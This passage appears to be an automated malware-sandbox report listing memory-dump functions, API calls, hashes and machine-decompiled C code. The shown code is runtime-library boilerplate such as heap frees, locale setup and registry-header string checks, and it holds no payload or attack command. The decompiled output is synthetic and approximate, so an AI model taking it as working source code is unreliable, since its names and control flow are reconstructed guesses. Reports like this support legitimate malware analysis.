0x00492a20
0x00492a25
0x00492a27
0x00492a27
0x00492a2f

APIs

__EH_prolog3.LIBCMT ref: 0049296E
__Getcvt.LIBCPMT ref: 0049297C

Part of subcall function 004302EE: _strlen.LIBCMT ref: 004302F4

_Getvals.LIBCPMT ref: 004929C0
_Mpunct.LIBCPMT ref: 004929FB
_Mpunct.LIBCPMT ref: 00492A15

Strings

$+xv, xrefs: 00492A20

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Mpunct$GetcvtGetvalsH_prolog3_strlen
String ID: $+xv
API String ID: 3651146260-1686923651
Opcode ID: f4d19e44bb3f8f729105b92bc8e9b40253ebc7d2e2f39def98527a28a416bb50
Instruction ID: b4e95e44012cd49fa6c3d61354664531fb46d18531c6c7f87413b91ff46614af
Opcode Fuzzy Hash: f4d19e44bb3f8f729105b92bc8e9b40253ebc7d2e2f39def98527a28a416bb50
Instruction Fuzzy Hash: F521C4B1904B516EDB25DF75889073BBEF8AB09304F04496FE499C7A42D778EA01CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00C84ADB, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00C847AA: _free.LIBCMT ref: 00C847CF

_free.LIBCMT ref: 00C84B29

Part of subcall function 00C7CA6E: HeapFree.KERNEL32(00000000,00000000,?,00C79D3C), ref: 00C7CA84
Part of subcall function 00C7CA6E: GetLastError.KERNEL32(?,?,00C79D3C), ref: 00C7CA96

_free.LIBCMT ref: 00C84B34
_free.LIBCMT ref: 00C84B3F
_free.LIBCMT ref: 00C84B93
_free.LIBCMT ref: 00C84B9E
_free.LIBCMT ref: 00C84BA9
_free.LIBCMT ref: 00C84BB4

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8aeba90142761b4543e74479a0087fd695ef834d7c0d95bcd58006f1decfefbc
Instruction ID: de7e4e6d52fc6bbed0da647207a4b7cd682a8131d00f8f9dc593917ae13e0f8d
Opcode Fuzzy Hash: 8aeba90142761b4543e74479a0087fd695ef834d7c0d95bcd58006f1decfefbc
Instruction Fuzzy Hash: BF119032540B09BAD624FFB0CD47FDB779DAF01B40F404828B69EA6052DB35B605B750

Uniqueness

Uniqueness Score: -1.00%

Function 004BD7D6, Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004BD7D6(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E004BD51D(_t45, 7);
					E004BD51D(_t45 + 0x1c, 7);
					E004BD51D(_t45 + 0x38, 0xc);
					E004BD51D(_t45 + 0x68, 0xc);
					E004BD51D(_t45 + 0x98, 2);
					E004B2FCF( *((intOrPtr*)(_t45 + 0xa0)));
					E004B2FCF( *((intOrPtr*)(_t45 + 0xa4)));
					E004B2FCF( *((intOrPtr*)(_t45 + 0xa8)));
					E004BD51D(_t45 + 0xb4, 7);
					E004BD51D(_t45 + 0xd0, 7);
					E004BD51D(_t45 + 0xec, 0xc);
					E004BD51D(_t45 + 0x11c, 0xc);
					E004BD51D(_t45 + 0x14c, 2);
					E004B2FCF( *((intOrPtr*)(_t45 + 0x154)));
					E004B2FCF( *((intOrPtr*)(_t45 + 0x158)));
					E004B2FCF( *((intOrPtr*)(_t45 + 0x15c)));
					return E004B2FCF( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x004bd7dc
0x004bd7e1
0x004bd7ea
0x004bd7f5
0x004bd800
0x004bd80b
0x004bd819
0x004bd824
0x004bd82f
0x004bd83a
0x004bd848
0x004bd856
0x004bd867
0x004bd875
0x004bd883
0x004bd88e
0x004bd899
0x004bd8a4
0x00000000
0x004bd8b4
0x004bd8b9

APIs

Part of subcall function 004BD51D: _free.LIBCMT ref: 004BD546

_free.LIBCMT ref: 004BD824

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

_free.LIBCMT ref: 004BD82F
_free.LIBCMT ref: 004BD83A
_free.LIBCMT ref: 004BD88E
_free.LIBCMT ref: 004BD899
_free.LIBCMT ref: 004BD8A4
_free.LIBCMT ref: 004BD8AF

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: be821af3cec7c42125fadd012f3e195aede0362c300babedc8f069374784c5e4
Instruction ID: 1de44639f9dc7f38dc944381fc3a262a6698af6d5ab753183e87371803ba3bea
Opcode Fuzzy Hash: be821af3cec7c42125fadd012f3e195aede0362c300babedc8f069374784c5e4
Instruction Fuzzy Hash: 6C1181B1940B04BAD531B7B2CC07FDBB7AC5F0870CF80085FB29D66152EA6DB5149A74

Uniqueness

Uniqueness Score: -1.00%

Function 00C8E755, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00C548CE,00000000), ref: 00C8E79D
__fassign.LIBCMT ref: 00C8E97C
__fassign.LIBCMT ref: 00C8E999
WriteFile.KERNEL32(?,00C548CE,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00C8E9E1
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00C8EA21
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00C8EACD

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 23eeb39cbed8c453cf561bdbc799f8bee9cf6746ff76d55cd6aaa3e8207f432a
Instruction ID: bc644a30748e05498d0c67d7573ce8d9bea36ca8ded43eb253cf39a3ec721564
Opcode Fuzzy Hash: 23eeb39cbed8c453cf561bdbc799f8bee9cf6746ff76d55cd6aaa3e8207f432a
Instruction Fuzzy Hash: 6AD1BE71D002589FCF15DFE8C880AEDBBB5FF49318F28016AE865BB241D730AA46DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00482DFE, Relevance: 9.1, APIs: 6, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00482DFE() {
				signed int _t61;
				void* _t66;
				signed int _t82;
				intOrPtr* _t83;
				intOrPtr _t94;
				signed int _t102;
				void* _t105;
				signed int _t118;
				void* _t119;
				void* _t123;
				signed int _t124;
				signed int _t125;
				void* _t126;
				void* _t131;
				void* _t132;
				void* _t133;

				_push(0x10);
				E0049D93F(0x4c4f82, _t123, _t126);
				_t94 =  *((intOrPtr*)(_t132 + 8));
				E00488DEA(_t132 - 0x18, 0);
				 *(_t132 - 4) =  *(_t132 - 4) & 0x00000000;
				_t124 =  *0x4ef4cc;
				 *(_t132 - 0x1c) = _t124;
				_t61 = E0042B315(_t94, E0042B22E(0x4ed914, _t124, _t126, _t133));
				_t127 = _t61;
				if(_t61 != 0) {
					L6:
					 *(_t132 - 4) =  *(_t132 - 4) | 0xffffffff;
					E00488E42(_t132 - 0x18);
					return E0049D8E9(_t127, _t124, _t127);
				} else {
					if(_t124 == 0) {
						_push(_t94);
						_push(_t132 - 0x1c);
						_t66 = E0043CF65(_t124, _t127, __eflags);
						_pop(_t102);
						__eflags = _t66 - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							E0049D9AD(0x4d5adb, _t124, _t127);
							_t125 = _t102;
							 *(_t132 - 0x1c) = _t125;
							 *((intOrPtr*)(_t132 - 0x30)) =  *((intOrPtr*)(_t132 + 8));
							 *(_t132 - 0x18) = 0;
							_push(0);
							_push(_t125);
							E00431B36(_t132 - 0x38, _t127, __eflags);
							 *(_t132 - 4) = 0;
							__eflags =  *(_t132 - 0x34);
							if( *(_t132 - 0x34) != 0) {
								 *(_t132 - 4) = 1;
								 *(_t132 - 4) = 2;
								_t131 =  *((intOrPtr*)( *_t125 + 4)) + _t125;
								 *((intOrPtr*)(_t132 - 0x24)) = 0;
								 *((char*)(_t132 - 0x20)) = 1;
								 *((char*)(_t132 - 0x1f)) = 0;
								_t82 =  *(_t131 + 0x38);
								 *(_t132 - 0x2c) = _t82;
								__eflags = _t82;
								 *((char*)(_t132 - 0x28)) = __eflags == 0;
								 *((char*)(_t132 - 0x27)) = 0;
								_t83 = E00433006(_t125, _t131, __eflags);
								 *((intOrPtr*)( *_t83 + 0x2c))(_t132 - 0x48,  *(_t132 - 0x2c),  *((intOrPtr*)(_t132 - 0x28)),  *((intOrPtr*)(_t132 - 0x24)),  *((intOrPtr*)(_t132 - 0x20)), _t131, _t132 - 0x18,  *((intOrPtr*)(_t132 - 0x30)), E0042B7A4( *((intOrPtr*)( *_t125 + 4)) + _t125), _t132 - 0x40);
								 *(_t132 - 4) = 1;
								E0042B2E4(_t132 - 0x40);
								 *(_t132 - 4) = 0;
							}
							_t105 =  *((intOrPtr*)( *_t125 + 4)) + _t125;
							_push(0);
							_t119 = 4;
							__eflags =  *(_t105 + 0x38);
							_t120 =  !=  ? 0 : _t119;
							_t121 = ( !=  ? 0 : _t119) |  *(_t105 + 0xc) |  *(_t132 - 0x18);
							_push(( !=  ? 0 : _t119) |  *(_t105 + 0xc) |  *(_t132 - 0x18));
							E0042B73A(_t105, ( !=  ? 0 : _t119) |  *(_t105 + 0xc) |  *(_t132 - 0x18), _t125,  *(_t105 + 0xc) |  *(_t132 - 0x18));
							_t54 = _t132 - 4;
							 *_t54 =  *(_t132 - 4) | 0xffffffff;
							__eflags =  *_t54;
							E0043119F();
							return E0049D8FA(_t125, _t125,  *(_t105 + 0xc) |  *(_t132 - 0x18));
						} else {
							_t127 =  *(_t132 - 0x1c);
							 *(_t132 - 0x14) = 0;
							 *(_t132 - 0x14) = _t127;
							 *(_t132 - 4) = 1;
							E0048919D(_t127);
							 *((intOrPtr*)( *_t127 + 4))();
							 *0x4ef4cc = _t127;
							 *(_t132 - 0x1c) = 0;
							E0042FDE0(_t132 - 0x14, _t132 - 0x1c);
							 *(_t132 - 4) = 0;
							_t118 =  *(_t132 - 0x14);
							__eflags = _t118;
							if(_t118 != 0) {
								 *((intOrPtr*)( *_t118))(1);
							}
							goto L6;
						}
					} else {
						_t127 = _t124;
						goto L6;
					}
				}
			}

0x00482dfe
0x00482e05
0x00482e0a
0x00482e12
0x00482e17
0x00482e20
0x00482e26
0x00482e31
0x00482e36
0x00482e3a
0x00482e9a
0x00482e9a
0x00482ea1
0x00482ead
0x00482e3c
0x00482e3e
0x00482e47
0x00482e48
0x00482e49
0x00482e4f
0x00482e50
0x00482e53
0x00482eae
0x00482eb3
0x00482ebb
0x00482ec0
0x00482ec2
0x00482ec8
0x00482ecd
0x00482ed0
0x00482ed1
0x00482ed5
0x00482eda
0x00482edd
0x00482ee0
0x00482ee6
0x00482efb
0x00482f04
0x00482f06
0x00482f09
0x00482f0d
0x00482f10
0x00482f13
0x00482f16
0x00482f18
0x00482f1c
0x00482f1f
0x00482f41
0x00482f44
0x00482f4b
0x00482f50
0x00482f50
0x00482f8e
0x00482f96
0x00482f99
0x00482f9c
0x00482f9f
0x00482fa2
0x00482fa4
0x00482fa5
0x00482faa
0x00482faa
0x00482faa
0x00482fb1
0x00482fbd
0x00482e55
0x00482e55
0x00482e5a
0x00482e5d
0x00482e60
0x00482e65
0x00482e6f
0x00482e75
0x00482e7f
0x00482e83
0x00482e8a
0x00482e8d
0x00482e90
0x00482e92
0x00482e98
0x00482e98
0x00000000
0x00482e92
0x00482e40
0x00482e40
0x00000000
0x00482e40
0x00482e3e

APIs

__EH_prolog3_GS.LIBCMT ref: 00482E05
std::_Lockit::_Lockit.LIBCPMT ref: 00482E12

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 00482E65
std::_Lockit::~_Lockit.LIBCPMT ref: 00482EA1
Concurrency::cancel_current_task.LIBCPMT ref: 00482EAE
__EH_prolog3_catch_GS.LIBCMT ref: 00482EBB

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$H_prolog3_Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3_catch_Register
String ID:
API String ID: 2139927958-0
Opcode ID: 6fa427285ec418c5199dfef394dcfec773d638439d51e7d2bbbf2e8237c4b72c
Instruction ID: 50febd9b041eb97a28526f49fe3040effd6539bd35b47a8f129d838c57dbac5a
Opcode Fuzzy Hash: 6fa427285ec418c5199dfef394dcfec773d638439d51e7d2bbbf2e8237c4b72c
Instruction Fuzzy Hash: 1551CF71E00219DFCF05EFA5C985AEEBBB4EF48314F14406EE515A7292CB789E01CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00437AF5, Relevance: 9.1, APIs: 6, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00437AF5(void* __edi, void* __esi, void* __eflags, intOrPtr _a8, intOrPtr _a12, void _a16) {
				signed int _v4;
				char _v8;
				intOrPtr _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr* _t61;
				void* _t66;
				signed int _t74;
				signed int _t75;
				signed int _t78;
				signed int _t83;
				intOrPtr _t85;
				signed int _t87;
				signed int _t90;
				intOrPtr _t105;
				signed int _t106;
				signed int _t108;
				intOrPtr* _t115;
				signed int _t116;
				intOrPtr _t121;
				signed int _t131;
				signed int _t133;
				signed int _t137;
				signed int _t138;
				signed int _t140;
				intOrPtr* _t143;
				void* _t146;
				signed int _t149;
				void* _t152;

				_t152 = __eflags;
				_push(0x10);
				E0049D93F(0x4c4f82, __edi, __esi);
				_t105 = _a8;
				E00488DEA( &_v24, 0);
				_v4 = _v4 & 0x00000000;
				_t137 =  *0x4ef480;
				_v28 = _t137;
				_t61 = E0042B315(_t105, E0042B22E(0x4ef528, _t137, __esi, _t152));
				_t142 = _t61;
				if(_t61 != 0) {
					L6:
					_v4 = _v4 | 0xffffffff;
					E00488E42( &_v24);
					return E0049D8E9(_t142, _t137, _t142);
				} else {
					if(_t137 == 0) {
						_push(_t105);
						_push( &_v28);
						_t66 = E00437DAC(_t137, _t142, __eflags);
						_pop(_t115);
						__eflags = _t66 - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							E0049D976(0x4c6361, _t137, _t142);
							_t143 = _t115;
							asm("cdq");
							_t116 = 0x18;
							_t106 = (_a8 -  *_t143) / _t116;
							_t74 =  *((intOrPtr*)(_t143 + 4)) -  *_t143;
							asm("cdq");
							_t75 = _t74 / _t116;
							_t133 = _t74 % _t116;
							_v28 = _t75;
							__eflags = _t75 - 0xaaaaaaa;
							if(_t75 == 0xaaaaaaa) {
								E0042E45E(_t116, _t146);
								asm("int3");
								_push(_t146);
								_push(0xffffffff);
								_push(0x4c637c);
								_push( *[fs:0x0]);
								_push(_t143);
								_push(_t137);
								_t78 =  *0x4eb018; // 0xa679d9c
								_push(_t78 ^ _t149);
								 *[fs:0x0] =  &_v8;
								_t138 = _t133;
								__eflags = _a16 - _t138;
								_t82 =  <  ? _a16 : _t138;
								_t83 = E0049FC6A(_t116, _a12,  <  ? _a16 : _t138);
								__eflags = _t83;
								if(_t83 == 0) {
									__eflags = _a8 - _t138;
									if(_a8 <= _t138) {
										asm("sbb eax, eax");
										_t83 =  ~_t83;
									} else {
										_t83 = _t83 | 0xffffffff;
									}
								}
								 *[fs:0x0] = _v16;
								return _t83;
							} else {
								_t85 = E00437E76(_t143, _t75 + 1);
								_v24 = _t85;
								_push(_t85);
								_t140 = E004376F1();
								_v36 = _t140;
								_t108 = _t106 * 0x18 + _t140;
								_t33 = _t108 + 0x18; // 0x18
								_t87 = _t33;
								_v32 = _t87;
								_v20 = _t87;
								_v4 = _v4 & 0x00000000;
								E0042CE90(_t108, _a12);
								_v20 = _t108;
								_t134 =  *((intOrPtr*)(_t143 + 4));
								_t121 =  *_t143;
								__eflags = _a8 -  *((intOrPtr*)(_t143 + 4));
								if(__eflags != 0) {
									_push(_t143);
									_push(_t140);
									E004380AB(_t121, _a8, _t140, _t143, __eflags);
									_v20 = _t140;
									_t134 =  *((intOrPtr*)(_t143 + 4));
									_t121 = _a8;
									_t46 = _t108 + 0x18; // 0x18
									_t90 = _t46;
								} else {
									_t90 = _t140;
								}
								_push(_t143);
								_push(_t90);
								E004380AB(_t121, _t134, _t140, _t143, __eflags);
								_v4 = _v4 | 0xffffffff;
								__eflags = _v28 + 1;
								E00437E2D(_t143, _t140, _v28 + 1, _v24);
								return E0049D8D4(_t108);
							}
						} else {
							_t142 = _v28;
							_v20 = 0;
							_v20 = _t142;
							_v4 = 1;
							E0048919D(_t142);
							 *((intOrPtr*)( *_t142 + 4))();
							 *0x4ef480 = _t142;
							_v28 = 0;
							E0042FDE0( &_v20,  &_v28);
							_v4 = 0;
							_t131 = _v20;
							__eflags = _t131;
							if(_t131 != 0) {
								 *((intOrPtr*)( *_t131))(1);
							}
							goto L6;
						}
					} else {
						_t142 = _t137;
						goto L6;
					}
				}
			}

0x00437af5
0x00437af5
0x00437afc
0x00437b01
0x00437b09
0x00437b0e
0x00437b17
0x00437b1d
0x00437b28
0x00437b2d
0x00437b31
0x00437b91
0x00437b91
0x00437b98
0x00437ba4
0x00437b33
0x00437b35
0x00437b3e
0x00437b3f
0x00437b40
0x00437b46
0x00437b47
0x00437b4a
0x00437ba5
0x00437baa
0x00437bb2
0x00437bb7
0x00437bbe
0x00437bc1
0x00437bc4
0x00437bc9
0x00437bcb
0x00437bcc
0x00437bcc
0x00437bce
0x00437bd1
0x00437bd6
0x00437c7e
0x00437c83
0x00437c84
0x00437c87
0x00437c89
0x00437c94
0x00437c95
0x00437c96
0x00437c97
0x00437c9e
0x00437ca2
0x00437ca8
0x00437caa
0x00437cb2
0x00437cb9
0x00437cc1
0x00437cc3
0x00437cc5
0x00437cc8
0x00437ccf
0x00437cd1
0x00437cca
0x00437cca
0x00437cca
0x00437cc8
0x00437cd6
0x00437ce1
0x00437bdc
0x00437be0
0x00437be5
0x00437be8
0x00437bee
0x00437bf0
0x00437bf6
0x00437bf8
0x00437bf8
0x00437bfb
0x00437bfe
0x00437c01
0x00437c0a
0x00437c0f
0x00437c12
0x00437c15
0x00437c17
0x00437c1a
0x00437c20
0x00437c21
0x00437c25
0x00437c2c
0x00437c2f
0x00437c32
0x00437c35
0x00437c35
0x00437c1c
0x00437c1c
0x00437c1c
0x00437c38
0x00437c39
0x00437c3a
0x00437c41
0x00437c4b
0x00437c50
0x00437c5c
0x00437c5c
0x00437b4c
0x00437b4c
0x00437b51
0x00437b54
0x00437b57
0x00437b5c
0x00437b66
0x00437b6c
0x00437b76
0x00437b7a
0x00437b81
0x00437b84
0x00437b87
0x00437b89
0x00437b8f
0x00437b8f
0x00000000
0x00437b89
0x00437b37
0x00437b37
0x00000000
0x00437b37
0x00437b35

APIs

__EH_prolog3_GS.LIBCMT ref: 00437AFC
std::_Lockit::_Lockit.LIBCPMT ref: 00437B09

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 00437B5C
std::_Lockit::~_Lockit.LIBCPMT ref: 00437B98
Concurrency::cancel_current_task.LIBCPMT ref: 00437BA5
__EH_prolog3_catch.LIBCMT ref: 00437BB2

Part of subcall function 004380AB: __EH_prolog3_GS.LIBCMT ref: 004380B2

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$H_prolog3_$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3_catchRegister
String ID:
API String ID: 846158916-0
Opcode ID: 8ce61130911d86fa77837828620decba9e796d094e6f5da35c213156f2f2b0a6
Instruction ID: 0229e73a59ecc7ef70ba1c454b14f1c3c89d4fe378b42a7e725025926d396679
Opcode Fuzzy Hash: 8ce61130911d86fa77837828620decba9e796d094e6f5da35c213156f2f2b0a6
Instruction Fuzzy Hash: E841D7B1E042099FCB14EFA9D4819AFB7F5EF58314F60452FF455A7282DB389E018B98

Uniqueness

Uniqueness Score: -1.00%

Function 00C5EFD5, Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00C5F019
DName::operator+.LIBCMT ref: 00C5F025

Part of subcall function 00C593E8: shared_ptr.LIBCMT ref: 00C59404

DName::operator+=.LIBCMT ref: 00C5F0E5

Part of subcall function 00C5D824: DName::operator+.LIBCMT ref: 00C5D88F
Part of subcall function 00C5D824: DName::operator+.LIBCMT ref: 00C5DB4D

Part of subcall function 00C592D7: DName::operator+.LIBCMT ref: 00C592F8

DName::operator+.LIBCMT ref: 00C5F0A0

Part of subcall function 00C59440: DName::operator=.LIBVCRUNTIME ref: 00C59461

DName::DName.LIBVCRUNTIME ref: 00C5F109
DName::operator+.LIBCMT ref: 00C5F115

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Name::operator+$NameName::Name::operator+=Name::operator=shared_ptr
String ID:
API String ID: 2795783184-0
Opcode ID: 422d23e226d7b366c830354c0b609e77c2ed66ae5826b508484918c67efc961f
Instruction ID: 27e8585ecfd232490b158faabdb04be1e7e4a5426d4593d9adb116d6939cd728
Opcode Fuzzy Hash: 422d23e226d7b366c830354c0b609e77c2ed66ae5826b508484918c67efc961f
Instruction Fuzzy Hash: DE41D6B9500284EFDB14DFA8C895B9E7BF9EB0A301F04006CF5559B292D7345ACDC758

Uniqueness

Uniqueness Score: -1.00%

Function 00C5DBD6, Relevance: 9.1, APIs: 6, Instructions: 95COMMON

Download Yara Rule

APIs

Part of subcall function 00C5F12B: Replicator::operator[].LIBVCRUNTIME ref: 00C5F168

DName::operator=.LIBVCRUNTIME ref: 00C5DC7C

Part of subcall function 00C5D824: DName::operator+.LIBCMT ref: 00C5D88F
Part of subcall function 00C5D824: DName::operator+.LIBCMT ref: 00C5DB4D

DName::operator+.LIBCMT ref: 00C5DC37
DName::operator+.LIBCMT ref: 00C5DC43
DName::DName.LIBVCRUNTIME ref: 00C5DC90
DName::operator+.LIBCMT ref: 00C5DC9F
DName::operator+.LIBCMT ref: 00C5DCAB

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]
String ID:
API String ID: 955152517-0
Opcode ID: 423460985bfe6af662028c39b6bc4e6958908242979432970568af101dc4d317
Instruction ID: 23c23efd6ae96cf5ed200fce15a32d6d7814d9e7a580d6ee5b3709bb6a25756d
Opcode Fuzzy Hash: 423460985bfe6af662028c39b6bc4e6958908242979432970568af101dc4d317
Instruction Fuzzy Hash: D531AFB9600304EFCB28DF94C895AEEBBF9EF59301B00445DE98797391D770A688CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00C58870, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00C58867,00C58329,00C56FF4), ref: 00C5887E
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00C5888C
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00C588A5
SetLastError.KERNEL32(00000000,00C58867,00C58329,00C56FF4), ref: 00C588F7

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: bba0d5526579e1328b8d06f2f2fc820b152dd77512449cdebd0d2bf7cf611b37
Instruction ID: 11bde270b5777d1b7aa39818ff66a5e122fc25abafaae8ab9323ef901f655563
Opcode Fuzzy Hash: bba0d5526579e1328b8d06f2f2fc820b152dd77512449cdebd0d2bf7cf611b37
Instruction Fuzzy Hash: 4D01F13A6093196EE72826B97C9572F2654EF12B77760023FFD30A61E1EF11498DE248

Uniqueness

Uniqueness Score: -1.00%

Function 00C538D0, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

lstrcmpW.KERNEL32(00C510C5,REGEDIT,?,00C510C5,00000000), ref: 00C538FD
lstrcmpW.KERNEL32(00C510C5,REGEDIT4,?,00C510C5,00000000), ref: 00C53914
lstrcmpW.KERNEL32(00C510C5,Windows Registry Editor Version 5.00,?,00C510C5,00000000), ref: 00C5392E

Strings

REGEDIT, xrefs: 00C538F4, 00C53941
Windows Registry Editor Version 5.00, xrefs: 00C53925
REGEDIT4, xrefs: 00C5390B

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcmp
String ID: REGEDIT$REGEDIT4$Windows Registry Editor Version 5.00
API String ID: 1534048567-1005159548
Opcode ID: 93f2afc1fe99dc46a160edca6128cda8d6c67cadc95e31627b5895d83ce5e25e
Instruction ID: a1dbb562506862b742c8ffae35780a77959bb0e1ceb7ea3a6d27f2e29279dddf
Opcode Fuzzy Hash: 93f2afc1fe99dc46a160edca6128cda8d6c67cadc95e31627b5895d83ce5e25e
Instruction Fuzzy Hash: 1D0192B8304244E7CF144F6AC849B7A3769EB00782F108429FC998F280D6B5DBC4D798

Uniqueness

Uniqueness Score: -1.00%

Function 004B8B2C, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 300
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E004B8B2C(signed int _a4, signed int _a8, unsigned int _a12) {
				signed int _v5;
				char _v6;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _v36;
				signed int _v40;
				char _v44;
				signed int* _t143;
				signed int _t145;
				intOrPtr _t149;
				signed int _t153;
				signed int _t155;
				signed char _t157;
				unsigned int _t158;
				intOrPtr _t162;
				signed int _t163;
				signed int _t164;
				signed int _t167;
				void* _t168;
				intOrPtr _t175;
				signed int _t176;
				intOrPtr _t178;
				signed int _t180;
				signed int _t184;
				char _t191;
				char* _t192;
				char _t199;
				char* _t200;
				signed char _t211;
				signed int _t213;
				signed int _t215;
				signed int _t216;
				char _t218;
				signed char _t222;
				signed int _t223;
				unsigned int _t224;
				intOrPtr _t225;
				unsigned int _t229;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed char _t236;
				signed int _t237;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t246;
				void* _t248;
				void* _t249;

				_t213 = _a4;
				if(_t213 != 0xfffffffe) {
					__eflags = _t213;
					if(_t213 < 0) {
						L58:
						_t143 = E004A965B();
						 *_t143 =  *_t143 & 0x00000000;
						__eflags =  *_t143;
						 *((intOrPtr*)(E004A966E())) = 9;
						L59:
						_t145 = E004A5E77();
						goto L60;
